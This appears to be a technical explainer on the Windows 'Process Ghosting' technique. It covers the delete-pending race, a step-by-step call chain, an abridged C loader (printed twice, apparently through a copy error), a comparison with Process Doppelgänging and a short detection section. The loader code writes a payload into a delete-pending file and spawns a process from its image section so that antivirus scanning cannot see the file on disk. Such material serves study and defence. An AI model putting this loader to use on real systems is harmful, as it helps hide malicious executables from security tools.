Process Ghosting
Overview
Process Ghosting exploits a race condition in how Windows handles file deletion and section
creation. When a file is marked delete-pending (either via FILE_DELETE_ON_CLOSE or
SetFileInformationByHandle(FileDispositionInfo)), no other process can open it — including
AV scanners. But as long as we hold the original handle, we can still create an image section
from it. Once we close the handle, the file disappears from disk. The section, and any process
backed by it, survives.
The result is a running process whose backing image does not exist on disk — making file-based scanning impossible and file-path tracking useless.
Process Ghosting was publicly documented by Elastic Security in 2021. Windows 11 and newer
Windows 10 builds have partially mitigated it by blocking NtCreateSection(SEC_IMAGE) on
delete-pending files. The technique still works on older builds and some server SKUs.
The call chain
- 1NtCreateFile with DELETE_ON_CLOSE / SetDeleteDispositionFileCreate a temp file marked for deletion so no AV can open it for scanning.
- 2WriteFile (payload PE)Write the malicious image into the delete-pending file while we hold the only handle.
- 3NtCreateSection(SEC_IMAGE) on the file handleCreate an image section from the file before closing. Windows maps it into memory at this point.
- 4CloseHandle (file handle)The file is deleted from the filesystem — it no longer exists on disk.
- 5NtCreateProcessEx with the section handleSpawn a new process backed by the now-deleted section — no file on disk to scan.
- 6set up PEB, stack, and initial threadManually construct process parameters and create the first thread to start execution.
Reference implementation
// Abridged — error handling and full process setup omitted
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *NtCreateProcessEx_t)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE,
ULONG, HANDLE, HANDLE, HANDLE, BOOLEAN);
void ghost_process(const wchar_t *temp_path, const BYTE *payload, size_t len) {
// 1. Create a temp file, immediately mark it delete-on-close
HANDLE hFile = CreateFileW(temp_path, GENERIC_WRITE | DELETE,
0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE,
NULL);
// 2. Write the payload PE into the delete-pending file
DWORD written;
WriteFile(hFile, payload, (DWORD)len, &written, NULL);
// 3. Create an image section from the file while we still hold the handle
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES oa = { sizeof oa };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa,
NULL, // MaximumSize — use file size
PAGE_READONLY,
SEC_IMAGE, // map as PE image
hFile);
// 4. Close the file handle — file is now deleted from NTFS
CloseHandle(hFile);
// At this point: no file on disk, but hSection is valid
// 5. Create a new process backed by the orphaned section
NtCreateProcessEx_t NtCPE = (NtCreateProcessEx_t)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateProcessEx");
HANDLE hProcess = NULL;
NtCPE(&hProcess, PROCESS_ALL_ACCESS, &oa,
GetCurrentProcess(), // parent
PS_INHERIT_HANDLES,
hSection, // the ghost section
NULL, NULL, FALSE);
// 6. Build PEB, RTL_USER_PROCESS_PARAMETERS, create first thread
// ... full process parameter setup and NtCreateThreadEx call omitted ...
CloseHandle(hSection);
CloseHandle(hProcess);
}// Abridged — error handling and full process setup omitted
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *NtCreateProcessEx_t)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE,
ULONG, HANDLE, HANDLE, HANDLE, BOOLEAN);
void ghost_process(const wchar_t *temp_path, const BYTE *payload, size_t len) {
// 1. Create a temp file, immediately mark it delete-on-close
HANDLE hFile = CreateFileW(temp_path, GENERIC_WRITE | DELETE,
0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE,
NULL);
// 2. Write the payload PE into the delete-pending file
DWORD written;
WriteFile(hFile, payload, (DWORD)len, &written, NULL);
// 3. Create an image section from the file while we still hold the handle
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES oa = { sizeof oa };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa,
NULL, // MaximumSize — use file size
PAGE_READONLY,
SEC_IMAGE, // map as PE image
hFile);
// 4. Close the file handle — file is now deleted from NTFS
CloseHandle(hFile);
// At this point: no file on disk, but hSection is valid
// 5. Create a new process backed by the orphaned section
NtCreateProcessEx_t NtCPE = (NtCreateProcessEx_t)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateProcessEx");
HANDLE hProcess = NULL;
NtCPE(&hProcess, PROCESS_ALL_ACCESS, &oa,
GetCurrentProcess(), // parent
PS_INHERIT_HANDLES,
hSection, // the ghost section
NULL, NULL, FALSE);
// 6. Build PEB, RTL_USER_PROCESS_PARAMETERS, create first thread
// ... full process parameter setup and NtCreateThreadEx call omitted ...
CloseHandle(hSection);
CloseHandle(hProcess);
}Comparison with Doppelgänging
| Property | Doppelgänging | Ghosting |
|---|---|---|
| Mechanism | NTFS transaction roll-back | Delete-on-close race |
| File visible during write | Yes (inside transaction) | No (delete-pending blocks opens) |
| Works on Win 11 (patched) | Mostly patched | Partially patched |
| Complexity | High (TxF API) | Medium |
| Section type | SEC_IMAGE from transaction | SEC_IMAGE from pending-delete |
| Backing file after process start | Never existed | Deleted immediately |
Both techniques aim to produce a process with no scannable on-disk backing file; they differ in how they achieve the write-then-disappear sequence.
What survives after the file is deleted
The section object holds a reference-counted mapping of the original file’s content. Deleting the file removes the directory entry but does not free the section. The process backed by that section continues running, and the section’s pages remain valid until the process exits and the last reference to the section is released.
Memory forensics tools like Volatility can still scan the in-memory pages — the file is gone but the content is not.
Detection
The clearest indicator is a running process whose QueryFullProcessImageName (or the
ImageFileName field in EPROCESS) returns a path that no longer exists. This is detectable
from outside the process and survives all in-process tampering.